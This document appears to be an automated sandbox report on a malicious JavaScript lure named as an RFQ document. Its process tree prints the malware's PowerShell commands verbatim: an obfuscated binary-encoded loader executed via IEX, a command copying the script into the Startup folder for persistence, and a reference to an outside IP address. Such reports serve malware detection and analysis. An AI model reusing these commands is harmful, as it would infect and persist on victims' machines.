Analysis

  • max time kernel
    229s
  • max time network
    365s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    29-11-2022 16:30

General

  • Target

    RFQ scope of requirements.js

  • Size

    2KB

  • MD5

    84ae648af28a2f5acd3c67fabde24615

  • SHA1

    45a9a2ddd9b5d8fedd6c5767cdb0bafb95c6d72b

  • SHA256

    c3db9d461440908e3278fda059adb00e9f546a3dd8dd38f80a6cee93372ae15d

  • SHA512

    7262173a3d69a54489b57087380e056b4f789343e9e0fe58efc5d0efbe1f166df44360bf1f9a2dba96b04afc5cac272cb3b262bd1eeda1c347131fa2db38468d

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 22 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ scope of requirements.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" This page can’t be displayed This page can’t be displayed Make sure the web address http://104.223.67.151 is correct. Look for the page with your search engine. Refresh the page in a few minutes. Check that all network cables are plugged in. Verify that airplane mode is turned off. Make sure your wireless switch is turned on. See if you can connect to mobile broadband. Restart your router. Fix connection problems
      2⤵
        PID:112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\RFQ scope of requirements.js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'
        2⤵
          PID:1040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $o00=[char]105 + 'EX';sal P $o00 $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51151555,51115551,51151115,51115111,51151555,51155551,55151115,51111555,51111551,51111515,55151111,51115111,51115555,55151111,51115511,51151551,51155151,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } (('[syst' + 'em.Str' + 'ing]::Join('''', $gf)')|P)|P } ermkflll
          2⤵
            PID:1896
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\RFQ scope of requirements.js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'
            2⤵
              PID:768
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
            1⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1972
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1972 CREDAT:275457 /prefetch:2
              2⤵
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:1656
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1972 CREDAT:1061892 /prefetch:2
              2⤵
                PID:2012

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Defense Evasion

            Modify Registry

            1
            T1112

            Discovery

            System Information Discovery

            1
            T1082

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\4ZUW2VPZ.txt
              Filesize

              601B

              MD5

              a1a4c8ee4efb2ec11f78d8888d71ed2f

              SHA1

              79ca0f61642cd1a208ee16b1cf9b96f35f86706b

              SHA256

              e4a79b31e12a41c662ce1924e2b2251c6d3230cce4a55a37f90e2946dfa92283

              SHA512

              50ab18032378eb98eb98434d428cf5682c8d47e64687d422426adcd7f229b7705d5e49583643bda2a03b15581afce2e85165db6c6350f5d8da3b9b5d0acbf7ef

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              Filesize

              7KB

              MD5

              601247dc33aadde38fc820aacb0a34ad

              SHA1

              3a90b4c78310363ffb620b20ec24160a85664a9f

              SHA256

              ee29728ab9a9585f75add0bd70fa1e65ab9ecab73a7676ec0494b3e9675c6b8a

              SHA512

              666b485e5538fa839c8312bdef5352aef5747a31beec7d4edaa85d2ada1ce5db7a68232b4c3e8f4e581309ed41429debd4f6a2b1b7eb42fd2371deb7822f91da

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              Filesize

              7KB

              MD5

              601247dc33aadde38fc820aacb0a34ad

              SHA1

              3a90b4c78310363ffb620b20ec24160a85664a9f

              SHA256

              ee29728ab9a9585f75add0bd70fa1e65ab9ecab73a7676ec0494b3e9675c6b8a

              SHA512

              666b485e5538fa839c8312bdef5352aef5747a31beec7d4edaa85d2ada1ce5db7a68232b4c3e8f4e581309ed41429debd4f6a2b1b7eb42fd2371deb7822f91da

            • memory/112-56-0x0000000000000000-mapping.dmp
            • memory/580-54-0x0000000000120000-0x0000000000130000-memory.dmp
              Filesize

              64KB

            • memory/580-55-0x000007FEFB7F1000-0x000007FEFB7F3000-memory.dmp
              Filesize

              8KB

            • memory/768-65-0x0000000000000000-mapping.dmp
            • memory/1040-57-0x0000000000000000-mapping.dmp
            • memory/1896-61-0x0000000000000000-mapping.dmp